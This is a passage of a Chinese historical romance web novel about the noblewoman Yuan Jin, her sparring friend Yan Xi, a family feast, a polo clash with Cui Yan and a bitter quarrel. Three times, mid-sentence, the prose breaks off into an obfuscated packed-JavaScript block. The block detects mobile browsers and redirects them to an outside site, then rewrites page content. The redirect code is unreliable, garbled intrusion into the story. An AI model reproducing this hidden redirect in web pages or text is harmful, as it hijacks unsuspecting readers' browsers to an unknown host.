颜熙蹙眉:“崔言没伤到你,又被人提来登门道歉,心中怨恨更深,你去崔府岂不是送上门让他害吗?” “那就让他来,我还怕他不成?”袁瑾说道。她本来就不满崔家一句道歉就轻飘飘地揭过一切的做派,崔言要是敢来,她就把这一切都还回去! “幼瑛。” 颜熙嫌少称她的字,因此很是稀奇。四目相对,才发觉对方神情严肃,是真为她担忧,故而敛去了自由散漫的表情,认真地答道:“知道了,我会小心的。” “你嘴上说得好听,也不知道到时候又是什么样。”颜熙忧心忡忡。 “那你想怎么样?”袁瑾撇撇嘴,“都说你是性情如风,自由自在,但我看你就是啰啰嗦嗦,喜欢瞎操心的大俗人。” “嘿,你这个小没良心的?别人我还懒着操心,你倒是得了便宜还卖乖。”颜熙叹了口气,抱怨,“我还真是出了力还不讨好……” 袁瑾斜睨了颜熙一眼:“行了,别嚎了,烦人了啊。” 颜熙见好就收,笑嘻嘻地拿起一块芝麻卷吃起来。 啧,这个泼皮。袁瑾咋舌。环顾一周,看到了刀架上的横刀和挂在墙上的弓箭,她心中不免可惜。 “看什么呢?”颜熙问。 “想还得再等一年才能跟你在骑射上一教高下,觉得可惜呗。”袁瑾耸了耸肩膀,又道,“端午将至,我看你今年赶不回去了,就在我家过吧。粽子想吃什么馅的?我让人准备。” 颜熙半晌没有回应,袁瑾纳闷,转头一看,对方正用一种十分复杂的眼神看她。还没等她问,对方先说:“袁小幺你今天也太善解人意了吧。到底是我从马上摔下来了,还是你从马上摔下来了?” “……”袁瑾抄起枕头砸向颜熙,“我就多余关心你!颜青阳你才摔坏脑子了!” 颜熙身子一矮躲过了枕头,笑道:“我这不是关心你吗?” “有你这么关心的吗?你给我站住!”袁瑾追了上去。 “那你先把枕头放下。” “做梦!” 11. 第 11 章 “胡闹!实在是胡闹!我才离家几天,幼瑛就闯了这么大的祸。大庭广众之下与人打架,袁家的脸都要被丢尽了!”端午家宴还没开始,叔父的数落先落到耳朵里了。 袁瑾低着头嘟囔着:“难道被人踩在头上就不丢脸了吗?” “你说什么?”叔父恼怒。 “我说那也是崔言暗箭伤人在先,我打他合情合理。”袁瑾扬起头直视叔父的眼睛,“被人欺负不知道反抗那才是真丢脸!” 叔父被气得胸口起伏,手臂颤抖,指着她:“你,你气死我算了!” “我——”还没等她反驳,母亲就拉出了她的衣袖,冲她摇了摇头。 “好了好了,不是什么大事何必如此大动肝火。”父亲上前打圆场,“况且此事确是崔家郎君先挑衅,幼瑛这么做也是为了维护家族颜面,只是太过年轻用错了法子罢了,你也别太苛责了。” 叔父不赞同:“就是因为兄长总是惯着她,才让她变得无法无天。这次是崔家不计较,那下次呢?” “你太杞人忧天了,幼瑛有分寸。”父亲笑道。 “你每次都这么说,可事实呢?”叔父拧着眉头,“兄长,事关袁氏前途你我必须好好谈谈。” 虽然被母亲带出了房间,但她的脑子里已经想到叔父会跟父亲说什么了。 无外乎说她太飞扬跋扈,若不约束性子轻则孤老终身,重则惹下塌天大祸连累全族。接下来就该旧事重提,说父亲不应该由着她的性子不学女德,跟兄长舞刀弄枪,现在性子野了再规劝就难了…… 这些话从她小时候就开始听,一直说到了现在。尤其是现在自己迟迟没有议亲叔父这个老古板就更变本加厉了。 母亲柔声道:“你叔父也是为你好,别生他的气。” “为我好?”她冷笑一声,“他要是真为我好就不该处处挑刺!” “幼瑛!” 听到母亲略带严厉的声音,她只好不情不愿地把接下来的牢骚咽了回去。 “别担心,有我和你父亲在,绝对不会让你做你不喜欢的事情的。”母亲柔声安抚。 看到母亲眼角的细纹,她心中升出愧疚,心想或许叔父说得对,她确实是个让人不省心的孩子。可是要她曲意而活,她又受不了。 好烦,真的好烦。 母亲伸出手替她理了理发髻:“这里也没什么好玩的,你不免会闷得慌,去玩吧。” 她点了点头,与母亲辞行。漫无目的地乱走一通后,竟来到了颜熙的竹院。沿着鹅卵石铺成的小路向院里走去,喧嚣被竹林挡在了院外,心也在宁静的氛围中平静了下来。 今天天气不错,颜熙在院子里铺了张席子,一边晒着太阳一边看书。一个人远离喧嚣,安安静静地坐在那里。阳光轻轻地垂落,如金色的锦帛覆盖在他的身上,显得他更加孤单落寞了。 袁瑾不禁想起了兄嫂昏礼的那个夜晚,颜熙也是这般的索居离群。走近看到颜熙正对着书本发呆,顺着对方的目光看去,她看到了《蓼莪》。 他——想家了?袁瑾想。 “你怎么在这!”颜熙一回头就见到她在身旁,被吓了一跳。 袁瑾没吭声。 颜熙见状放下了书本,轻佻地扬起眉头:“怎么,发现没有我在觉得无聊了?” “嗯。” 颜熙睁大眼睛,指着她:“你是何方神圣?快把袁小幺交出来!那就是个混世魔王,不放了她,你绝对会后悔终身的——” “我就多余来看你!”袁瑾一把抓住了颜熙的手指,“你说谁是混世魔王!” 颜熙抬头看天,仿佛刚才说话的人不是他似的。 “喂,颜青阳!” “哦——” “噗。”还没等袁瑾发作,她自己就被颜熙故意压平的语调逗笑了,害得她都没办法再绷着脸教训颜熙。 颜熙晃了晃被抓住的手:“高兴了?” “少把我当成小孩子。”袁瑾切了一声,丢开了颜熙的手。 颜熙敷衍地点头:“嗯嗯,你不是小孩子。” “你讨打是不是?”袁瑾环起手臂。 “别,我还有伤在身,可不想再添新伤了。”颜熙拍了拍身旁的竹席,“还请袁娘子休息一下吧。” “算你有眼力。”袁瑾提起裙摆坐在竹席上。 颜熙又把装着玉兰酥的盘子推给她:“你叔父又念叨你了?” “知道还问。”袁瑾拿起玉兰酥愤愤地咬了一口。 “所以你就跑过来折腾我这个伤者?哎呦,我可真——” “真什么?” 颜熙见袁瑾正虎视眈眈地盯着他,立刻改口:“真荣幸。袁娘子不高兴了能想起颜某,是颜某的荣幸!” “巧言令色。”袁瑾点评。 颜熙粲然一笑。 “你打算怎么办?总不能一直躲在我这吧。”颜熙双手撑在身后,侧首看着她。 “不可以吗?”袁瑾又拿起一块玉兰酥,“反正叔父看我不顺眼,我也不想听他唠叨,既然如此那就一直避开好了。” 颜熙:“那一会儿的席面该怎么办?” “当然是不去了。”袁瑾耸了耸肩膀,转头看向颜熙,“我看你自己一个人也无聊,本娘子大发慈悲地陪你过节如何?” 可她没想到颜熙竟然拒绝了。 “不怎么样。师姐和姐夫端午后就要回京了,这是一顿团圆饭,你不应该缺席。” “只是一顿饭而已,什么时候不能一起吃。”袁瑾蹙起眉头,“颜青阳你怎么也变成一个小古板了?” 颜熙摇了摇头:“幼瑛,不要把话说得太满。”漆黑的眸似湖泊,清澈明亮却不见底。 两人对视着,谁都没有先移开视线。 阳光倾泻而下,树影斑驳,一切陷入了一种宁静而闲适的气氛中。 不知过了多久,颜熙忽地大笑了起来,肆意而快活,让人莫名其妙却又怦然心动。 袁瑾扶着胸口怒道:“你笑什么!” “只可意会不可言传也。”颜熙故弄玄虚。 袁瑾咬牙,他果然还是那个讨厌鬼!眼珠子一转,计上心来,猛地站起拉着颜熙的手腕,说道:“既是家宴那你也不能缺席。” “啊?” “你是嫂嫂的师弟,也算一家人。走,跟我去赴宴。” 颜熙甚至来不及说一句话就被袁瑾连拖带拽地带走了。 一进屋,众人的目光就落在了袁瑾和颜熙两人的身上。她环顾一周,父母兄嫂先是一愣而后也展露笑颜,叔父冲她冷哼一声但也没多说什么,同辈人则是用好奇敬佩的目光看着她。 父亲将颜熙安排在嫂嫂的旁边,大约是怕颜熙不自在。但她觉得多此一举,毕竟这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047386|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天底下还没有能让颜青阳感到不自在的地方。 时辰一到,父亲说了些场面话后便开宴了。乐师拨动琴弦,舞姬踏着欢快的脚步旋转起来,色泽艳丽的绸缎在空中划出优美的弧度。 “堂妹你真的打了崔畅今啊?”三堂兄期待地看着她。 袁瑾有些诧异,询问:“堂兄不觉得我惹麻烦了?” “怎么会!”三堂兄压低声量,对她说,“你不知道崔言有多烦人,仗着自己是清河崔氏出身,一个劲的显摆,烦死他了。” “堂兄这话说得不错。每天颐指气使的,我巴不得有人教训他一顿。”五堂姐点头,“要我说幼瑛打得好!” 听着同辈人对自己的赞赏,袁瑾心情大好,将上午的不愉快抛掷脑后。 用过饭后,他们这些小辈生性沉稳的跟长辈们一起讨论深奥难懂的事情,生性恬淡的则跟着萧婵一起吟诗作对,而生性好动的凑在一起玩起了投壶。 袁瑾是投湖的好手,只见她找好角度后,手腕微微用力,小小的箭矢从空中划过落入了壶口。又连投了五六支,全中! 三堂兄连忙抱住了长颈壶,说什么都不让她投了。 “这是作甚?”袁瑾挑眉。 颜熙扑哧一乐:“你一骑绝尘,旁人还要不要玩了。” 其他人也开始发表意见,气氛更加热闹起来。 “你看看你多少投了,再看子衿多少投?这小子都自暴自弃了!”二堂兄大声道。 “不行不行,堂妹你不能再玩了,不然一点也不好玩了。”三堂兄抱着长颈说道。 “赢就是赢,输就是输。学艺不精回去练了,哪有因为别人赢得多就不让人玩了?”五堂姐为她打抱不平。 “小堂妹要继续玩也不是不行,她跟青阳比。”大堂姐想了个法子。 被她碾压的三堂兄举双手双脚赞同:“这个法子好,让他们互相折腾去,可别折腾咱们这些凡夫俗子了。” “哈哈,这下又有好戏看了。”四堂兄看热闹不嫌事大,“当年他们两个也是因为投壶结的仇。” 众人纷纷想了起来旧事,不约而同地笑了起来。 “夺人所爱。”袁瑾瞪了颜熙一眼。 颜熙无奈:“我还给你了,是你自己不要的。” “哪有那样给人东西的!” 不提还好,一提袁瑾就气得要死。她当时输了投壶正失落,结果颜熙跳了出来:“我听说你喜欢这个花冠,给你了。” 高高在上的语气刺痛了她的自尊,原本粉雕玉琢的少年郎在她眼中也变得面目可憎,一拳下去,两人的梁子也结了下来。 “……我的错,您就大人不计小人过吧。”颜熙眨了眨眼睛。 “切,别以为说好话我就会手下留情。”袁瑾拿起箭矢。 “你也太没有同情心了,我还受着伤呢。”颜熙嘴上说着但已经拿起了箭矢。 有了旗鼓相当的对手后,袁瑾终于感到了游戏的乐趣。轮到她投壶的时候,三堂兄问颜熙:“对了,青阳你那个花冠还留着吧,是打算送给未来的心上人吗?” 袁瑾一时失神竟没对准壶口,箭矢擦着壶口落在了地上。人群爆发出各种各样的声音,她盯着地上的箭矢看了一会儿,面无表情地看向颜熙:“都是你的错。” 颜熙叫屈:“天地良心,我什么都没做,怎么怨我了?” 12. 第 12 章 端午家宴后,袁珏和陈百潼离家返回京师,袁瑾继续跟崔夫人学习女红。 虽然袁瑾觉得颜熙说得有道理,但躲着实在不是她的作风。而且不管出于何种原因,学习女红都是她主动提的,要是随随便便地说不学了,实在说不过去。 况且——袁瑾看着坏掉的绢帕,我还答应了颜青阳缝补手帕,总不能食言而肥,害他孤苦终身吧。我又不是恩将仇报的人。 寒暄后,她看到了崔夫人的新作——穆王八骏。八骏毛色鲜艳,体态优美,身姿自由奔放,让人感受到旺盛的生命力。收回视线看向崔夫人,对方正捏着核雕的两端,欣赏着核雕上活灵活现的名驹。 崔夫人:“袁娘子有心了,我很喜欢。” 袁瑾:“您喜欢就好。” 崔夫人收起核雕,对她说:“虽说耽误了些时间,但你天赋好,学得快,并不碍事。” “我?难道不该是表姐更快?”袁瑾心中讶异之余又有点高兴,这还是她第一次压萧婵一头。 “怎么会这么想?”崔夫人问。 “我以为像表姐那样,额,聪明的女郎学什么都易如反掌。”袁瑾摸了摸脸颊。 崔夫人摇了摇头,说道:“再聪明的人也有不擅长的事情,再笨拙的人也有可取之处,哪有什么十全十美的人。” 那您呢?袁瑾想问,但又见崔夫人神情怅然,也就没多嘴。 不过很快她就没心情想这些了,崔夫人接下来教的比之前学的难多了,她不得不收起乱飞的思绪,专心学习。 有谁能想到修一株兰草不仅要好几种颜色的绣线,还要把一股绣线劈成好几条细丝,细丝脆弱,稍有不慎就会拉断。于是她屏住呼吸,目不转睛地盯着绣线,小心翼翼地掌控力道。 全心全意的投入让她感觉不到周遭的变化,忘却了时间流逝。等她绣完兰草的花瓣时,已经过去了一个时辰。稍稍活动一下身体,脖子的酸痛顿时让她倒吸一口凉气。 崔夫人见她久坐难受,便让她再园林中走走,一刻钟后再回来。 袁瑾向崔夫人道谢后,便急不可耐地向外面走去。她一边活动手腕一边想,颜青阳你可欠了我一个大人情,将来说什么你都得还我这个人情。 崔府的园林中新移来一批蜀葵,枝干高挺,颜色绚丽,很是醒目。 “袁娘子也来赏花?”一个身着石青色长袍的少年走了过来,模样不算出众,但胜在眉目柔和,让人倍感亲切。 袁瑾认得来人,荀氏幼子,荀恬。她打招呼:“荀郎君。” 荀恬:“娘子是来见崔夫人的?” 袁瑾点了点头:“是。” 荀恬:“听母亲说崔夫人女红一绝,娘子聪慧定然会青出于蓝而胜于蓝,到时候可要让我等一拜大作。” 袁瑾客套:“荀郎君抬爱了。” “实话实说而已。”荀恬笑道,“我听兄长说娘子自小学习武艺,与令兄不相上下。本想着在船宴上请教一番,没想到娘子早早离席了。如今碰到了,娘子可不要吝啬。” 此话一出,袁瑾犯了难。照理说凭借袁荀两家交情她不应该拒绝,可她跟崔夫人有约在先也不能随便离开。 荀恬看出了她的犹豫,拍胸脯保证:“你放心不会耽误太久的。”说着拉起她的手腕向外走去。 袁瑾:“至少得让我跟崔夫人讲清缘由吧。” “哎呀,你连崔畅今都敢打,还有什么可怕的?对了,你可得跟我讲讲你打崔畅今的场景,我可好奇了……” 没等袁瑾回答,荀恬便将她拉走了。 穿过几道门后,两人来到了一片宽阔的草场。袁瑾记得颜熙跟她提过,崔家的园林旁有一片草场,专供人打马球。 现在草场上满是人,他们全神贯注地盯着在草场上乱飞的马球,每当马球冲进球门,人群就会爆发出一阵欢呼。 袁瑾感到不妙。 荀恬大喊:“看我把谁带来了!”话音一落,所有人的目光都落在了她的身上。 “呦,这不是袁娘子吗?”一人驱使着枣红马慢慢走近,一抬头就看到了崔言。 还真让颜熙说对了,崔言这个王八羔子一出禁闭肯定会做要。袁瑾想。 崔言坐在马上,俯视着她:“择日不如撞日,不如今日完成咱们未有输赢的较量?” 袁瑾彻底明白自己被卖了,看着不敢看她的荀恬,比起敌人,她更讨厌这些阿谀求容的无耻之辈。她在心中骂道,荀氏祖宗的脸都快被你丢尽了! “袁娘子怎么不说话?颜青阳不在你害怕了?”崔言满脸戏谑。 听到颜青阳的名字,袁瑾的神情变得冰冷而危险,死死地盯着崔言。 “袁娘子何故如此看我?”崔言仍旧不知死活地挑衅,“莫不是在求我?” “崔郎君说笑了,袁家还不至于不战而逃。”袁瑾打断了崔闻的话,双臂一振,长袖卷在臂肘上,扯下披帛充当臂绳固定袖子,然后伸出手指着崔闻身后的人命令道,“下来,我要你的马和马具。” 那人欲反驳却在与袁瑾的目光相处时,打了个哆嗦,老老实实地交出了自己的马具和马匹。 袁瑾翻身上马,见荀恬要躲,立刻将球杆横在他面前,歪着头,笑道:“你不助我一臂之力吗?我们两家可是世交啊,荀郎君会让我孤军奋战,对吧?” 故交大义压在头上,荀恬不得不硬着头皮上马。 袁瑾又看向崔言。 崔言吞了口唾沫,装腔作势:“袁娘子看我作甚?” “寻常的玩法没意思。不如这样吧,就你、我、荀恬再加一个你们崔家的,我们两两组队,不计规则,一局定胜负如何?”袁瑾看向崔言,“我想像崔郎君这样胆大如斗的猛士是不会拒绝的吧。” 搬起石头砸自己的脚的滋味并不好受,但一想到袁瑾孤军奋战,崔言又得意了起来,恶意满满道:“这可是袁娘子你自己要求的,摔下马可别哭。” “当然不会。”袁瑾的脸上浮现一抹古怪的笑容 没了规则的草场变得危险重重,每个人必须打起十二分精神,否则稍有不慎就是一场灭顶之灾。 袁瑾策马狂奔,眼神飞快地在场地上扫了一眼,确定另外三人的位置。 荀恬从锣声响起的一瞬就消失得无影无踪,崔氏兄弟从两侧夹击她。 崔言冲场上的堂弟使了个眼色,那崔家子弟立刻扬起球杆向她的马砸去,袁瑾冷笑:“又是这招。”只见她自下而上挥动球杆截住了砸向马腿的球杆。 两杆砸在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047387|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起发出一声脆响,袁瑾没给对方反应的机会,立刻转动球杆,卡住是对方的球杆。双方正用力拉扯时,场下人突然爆发出惊呼,一阵疾风向她的脊背冲来。 说时迟那时快,袁瑾立刻收杆,身体向侧闪避,有惊无险地躲过了崔言的偷袭。与此同时,那个崔家子弟失去平衡从马背上摔了下来,在草场上滚了好几圈。 趁着崔言回杆的时候,她立刻坐直身体,将崔言的球杆打飞。她没再给崔言反应的时间,双手握住球杆,将球杆当成了长矛,使出一记横扫千军,将崔言从马上击落。 一场马战走入尾声。 她挑起马球,随意一击,马球在打中荀恬的同时也顺利的滚过了球门。 鸦雀无声。 袁瑾转过身,以一副睥睨的姿态扫视众人,轻描淡写地宣布:“我赢了。” 直到这一刻所有人才终于意识到袁瑾是假猫狸,真虎豹。那个不开眼地去招惹她,定要付出惨烈的代价。他们怎么就那么自信地认为袁瑾不敢对崔言下死手? “郎君!”崔氏子弟七手八脚地扶起崔言。 “袁瑾!”被人搀扶起来的崔言目眦欲裂,一副要吃人的表情。 袁瑾视若无睹,甚至还挑衅道:“怎么,技不如人就要用一些见不得人的手段了?” 崔言:“是又怎么样?你就一个人,奈我何啊?来人——” “畅今。”温沉的女声打断了崔言接下来的话。 围观众人慢慢向两侧退去,崔夫人扶着萧婵的手出现在眼前。她用着礼貌而不是亲切的语气对着众人说道:“胜负既已见分晓,就别在这里晒太阳了。我在园中备下宴席,还请诸位入席吧。” 众人如释重负纷纷向园子走去。 崔言欲开口却被崔夫人压了回去:“来人,带郎君们回去治伤。” 崔言虽有不甘但迫于崔夫人的威严不得不答应了。 人群如鸟兽散,周遭变得静悄悄的。袁瑾悄悄地打量崔夫人,发现崔夫人正望着草场发呆。 “让你见笑了。”崔夫人重新看向她。 袁瑾受宠若惊:“晚辈也有做的不妥当之处,夫人不怪晚辈,晚辈就谢天谢地了。” “不,你做得很好。畅今这些年被骄纵坏了,是该给他些教训。”崔夫人承诺,“畅今再三冒犯,崔氏必将给袁氏一个满意的交代。娘子先跟萧娘子回家吧。” 袁瑾看向萧婵,心知加上这次萧婵已经帮了她两次,虽然想不清楚她的目的,但也得找时间把人情还回去。 一到家门口,她就看到了急匆匆赶来的颜熙。她想,我可替他出了口恶气,得好好地敲他一笔才是。 萧婵识趣地离开了。 颜熙仔仔细细地打量她一番,确定她无事后才松了一口气。 袁瑾觉得好笑:“你也太小瞧我了吧。区区三个弱不禁风的世家公子,还能伤了我不成?我跟你说他们——” 话还没说完,颜熙劈头盖脸的数落打断了她的话:“我不是说别去崔府了吗?袁幼瑛你是觉得自己有项王之勇?还是有子房之谋?就敢单刀赴鸿门宴!你怎么敢这么冒失!” 一桶凉水浇在头上,心中的喜悦荡然无存,袁瑾面无表情地质问颜熙:“你是来跟我吵架的吗?” 13. 第 13 章 “你是来跟我吵架的吗?”袁瑾脸上已无笑意,冷着一张脸,看着有些吓人。 “当然不是。”颜熙眉头紧锁。 “不是?”袁瑾怒视颜熙,“不是来吵架你为什么要用这种语气跟我说话?不是来吵架你为什么来指责我?” 颜熙捏着鼻梁,辩解:“我没有。” 袁瑾原本压下去的火气又一次蹿上心头:“我辛辛苦苦地把崔言和他的狗腿子教训了一顿,想着我帮你出了气,你能高兴。结果你对着我就是一通数落,我还真是自作多情了!” “我不是,你——” “我什么?”袁瑾打断了颜熙的话,继续说,“我知道你想说什么,不就那些人评价我的那些话——冲动、鲁莽,不知礼数没有教养。没错,我就是了怎么样!” “我从来都没有这么认为,袁幼瑛你不能胡乱地给我安排罪名!”颜熙看着她的眼睛,“你自己好好想想今天是不是意气用事?身陷重围最该做的是保全自己,而不是让自己身陷危险!你想想今天要是出事了该怎么办?” “该怎么办就怎么办!”袁瑾盯着颜熙丝毫不退让,“我袁瑾宁可站着死,也绝不可能让人踩在我的头顶作威作福!” 颜熙见袁瑾油盐不进,音量也渐渐地高了起来:“你一个人想怎么样就怎么样,那你有没有想到你身边的人?你知不知道我有多担心你?” “我难道求你担心我了吗?”袁瑾口不择言,“别以为你替我受了一次伤,我就得把你供起来,把你的话当成金科玉律,让你掺和我的生活。颜青阳你别太把自己当回事,我堂堂袁氏女,纵然恶名远扬,只要我愿意身边有的是人,从不缺你一个!” 颜熙愣怔了好久,难以置信地问她:“你把我当成那些阿谀奉承的人?袁瑾你竟然把我当成那样的人!” 袁瑾错开视线,双手不自觉地抓紧自己的手帕。 颜熙眼圈发红,压着嗓子:“你知不知道我在听到你被崔言绊住的时候有多紧张,生怕你出一点意外,恨不得飞到你身边去帮你。可是在你心里——我竟然只是一个趋炎附势,对你另有图谋的小人?” 袁瑾咬着嘴唇,不肯说半个字。 颜熙嘴唇轻颤:“袁瑾,你让我活得像一个笑话。”随后决绝地转身离开。 激烈的争吵声随着一人的退场而消失。 袁瑾站在原地心绪翻涌,见有人偷偷地看向这边,厉声呵斥道:“看什么看!” 仆从哗啦啦地散开,生怕城门失火殃及池鱼。 阳光洒落,沉默吞噬了一切。袁瑾忽然觉得自己是那被神明放逐到了一片无人之地的可怜人,心中只剩下了茫然无助。 她拖着疲惫的身体回到了屋子,推了晚膳,裹着被子静卧在床上。可一闭上眼睛,白日里发生的事情就会在眼前上演。恍惚间似有一滴晶莹的泪滴落在手背上,冰凉的,让人不住地感受到颜熙的心寒。 袁瑾盯着墨蓝色的厅堂发呆,不由自主地想起了与颜熙初见时的场景。那天是祖父的寿辰,袁府里里外外都是人,可她还是一眼就看到了颜熙。 颜熙当时穿了件朱樱色圆领袍,袍子上绣着金色花纹,黑金色的束腰带上挂着羊脂玉,衬得眉清目秀的少年格外贵气。 她当时就在想这是谁家的小郎君,长得真好看。 只是一场始料未及的冲突后,俊俏的小郎君在她眼里就变成了傲慢无礼的讨厌鬼了。还记得被长辈们拉开时,她向颜熙的方向瞟了一眼,发现他正怒视她,不过一对乌眼圈让他的怒目而视变得可笑。 想起少年往事,袁瑾溢出一丝笑意。 再后来他们针锋相对,互相使绊子,打打闹闹地度过了九载。 但现在——在说了那样过分的话后,我和颜熙还能和好如初吗?脸上的笑容被茫然取代,袁瑾抱紧了被子。 “呀!”早上来侍候的婢女不住地惊呼,“娘子的脸色怎地这般糟?” 袁瑾侧目看向铜镜,镜中人表情僵硬,眼底青黑,整个人萎靡不振。她按了按自己干枯的唇,心说难怪这小丫头会像天塌了似的,若不是知道自己坐在镜子前,她都会问镜子里的人是谁。 洗漱后,婢女才问:“娘子昨夜未睡?” 袁瑾神情恹恹:“昨夜虫鸣太响,吵得人睡不着。” 婢女面露疑惑却也不再多嘴,只是提醒她该去用饭了。 刚与双亲用过饭,仆从来报说崔家来人了。 袁瑾心道,短短一个月崔家接连两次登门,还都是为了道歉,真是脸都要丢尽了。 父亲问:“都是谁来?” 仆从回答:“回主父,是卢夫人和通古郎君。” 袁瑾疑惑,这崔家怎么回事?闯祸的正主不来道歉反倒让毫无干系的人来,未免不妥吧。 父亲思索了一会儿,对母亲说道:“你带着幼瑛去会客吧。” 母亲点了点头,叫她一起去正厅会客。 两位夫人一见面,便亲亲热热地交谈起来,袁瑾坐在自己的位置上百无聊赖地听着。 卢夫人看到了她:“这就是袁娘子吧。果如长姐所言是个灵动的娘子,打眼一瞧就招人喜欢。” 我?招人喜欢?袁瑾对卢夫人睁眼说瞎话的本事叹为观止。 “夫人可别夸她了。再夸,她的尾巴都要翘到天上了。”母亲含笑,“要我说还是夫人家的郎君们更好,才华出众又乖巧懂事,不知有多省心,我可真是羡慕。” “唉,”卢夫人轻叹了口气,“夫人只知其一却不知其二。” “哦?”母亲疑惑。 “夫人是知道的,自我小叔夫妇去了后,唯留畅今这一点血脉。公公可怜他,便把他当眼珠子疼,每每犯错都是高高举起轻轻放下,使得他越发骄纵。我和夫君每每提及此事,未尝不叹恨。” 袁瑾眨了眨眼睛,总觉得卢夫人话里有话。 “昨日之事我听得胆战心惊,若非袁娘子武艺高强非得被那混账伤了。长姐与我夫与公公据理力争,严惩了那混帐。如今他伤得下不了床,故由我母子向袁氏致歉。”卢夫人说着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050024|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就要和崔闻行礼,她和母亲连忙扶住了两人。 “夫人可折煞我等了。”母亲扶着卢夫人宽慰,“说到底夫人也不过是替人无故受罪罢了,我等又岂会因此怪罪夫人这个可怜人?” 卢夫人擦了擦眼泪,含笑:“夫人真是善解人意。” “夫人谬赞了。今日天气正好,我陪夫人在园中逛逛吧。”母亲提议。 卢夫人点头。 袁瑾和崔闻则跟在两位夫人的身后,一同游园。崔闻是个博学的人,时不时讲一些文辞典故和民俗俚语,让枯燥无味的散步变得有趣起来。 “你们两个小辈去玩吧,不用陪我们了。”卢夫人笑道。 袁瑾见母亲点头,便带着崔闻去别处逛了。 行至白石桥上,能将湖上风光一览无余。湖水如镜,微风轻拂而过,波纹荡漾,柳枝婀娜,恬淡宁静之意扑面而来。 袁瑾忍不住地向竹院的方向看去,却只能看到高低曲折的长廊。 也不知道颜青阳怎么样了。他还生气吗?会不会不打招呼地就离开? “税驾乎蘅皋,秣驷乎芝田,容与乎阳林,流眄乎洛川[1]。” 颜熙放下书本,下意识地看向窗外,竹树郁郁葱葱,却始终见不到搅得自己心旌摇曳的人儿。 “颜青阳啊颜青阳,你还真是自作多情,人家都说不缺你一个,你还眼巴巴地等着……”颜熙自嘲地笑了笑,“还真是难看啊。”他深吸一口气:“罢了,也是时候离开了。” 合上书本,桌上精巧的核舟落在眼中,脑子里不由自主地想起袁瑾口是心非的模样。不肯直视他的眼睛,一个劲地把核雕怼到他眼前,嘴上催着他赶紧挑选,但行动上却是耐心地等着。 颜熙拿起核舟,舟内是主客尽欢,舟外是仕女孑然一身,寂寞瞭望。此情此景就像那次船宴,在冷嘲热讽中,袁瑾傲然挺立却又那样孤单。思及至此,他的心软了下来。 自打认识的那天起,他就知道袁瑾因为特立独行的处事方式形单影只,甚至还会遭遇他人攻讦。她的伶牙俐齿,她的刚烈倔强纵然伤人,却也保护了她。 况且说到底,袁瑾被崔言盯上也有自己的原因。要是自己没诓她,哪会生出这么多乱子? 怒气渐渐被愧疚取代,颜熙辗转反侧。 要不,我先跟袁小幺道歉?但会不会显得我太没脾气?颜熙纠结。 不,我这不叫没脾气,我这是知错能改。颜熙很快说服了自己。 可是——袁小幺不会怒极攻心再打我一顿吧?颜熙摸了摸自己的脸后,给自己壮胆,不就是挨一顿打吗?大丈夫有什么受不得? 颜熙深吸一口气,起身去找袁瑾。 可还没出院子,外面就传来了杂乱的脚步声,他心里纳闷走了出去,才发现袁府乱成了一锅粥。他拉住了一个仆从问道:“怎么了?” “回郎君的话,娘子与崔郎君和萧娘子起了争执,刚才跑出府了!” 颜熙大惊,担心袁瑾遇到危险,来不及多说连忙去找人了。 14. 第 14 章 “税驾乎蘅皋,秣驷乎芝田,容与乎阳林,流眄乎洛川[1]。”崔闻单手搭在栏杆上,眺望远方。 袁瑾困惑:“崔郎君?” 崔闻顿了一下,笑道:“忽见水上景,不由想起了昔日游洛水所见所闻,一时有感而发。” 袁瑾重新看着青天碧水,心里纳闷,很像洛水吗? “瞻彼淇奥,绿竹猗猗[2]。”崔言转头看向袁瑾,“我记得青阳的住处有一大片竹林。” 听到颜熙的名字,袁瑾略有不自在地回道:“额,他那里确实有一大片竹子。”嘴里说着,心里念着,千万别让我带你去,千万别! 但人要倒霉的时候喝口凉水都塞牙。 袁瑾这厢暗自祈祷,崔闻那厢就说道:“端午过后,我还未曾探望过青阳,不如趁此机会去看看他。袁娘子以为如何?” “……”袁瑾压根不知道该怎么面对颜熙,但又不能跟崔闻明说,急得目光乱窜。忽地,袖子里的绢帕引起了她的注意,一时计上心来。 “啊,我的手帕丢了!”她惊呼,装作四处寻找无果,焦急地对崔闻说道,“绢帕是贴身之物,丢了到不打紧,可要被人捡去了免不了惹出麻烦,我得去把它找回来。我让人带你去颜青阳那。” 不等崔闻回答,袁瑾便脚底抹油,一溜烟地跑了。 撒谎可耻,但我真不知道该怎么见颜熙。可是——袁瑾停下脚步,这件事我确实有不对的地方。即使颜熙的语气不好,但那也是出于关心,我不该把从崔言那里受的气发到他身上…… 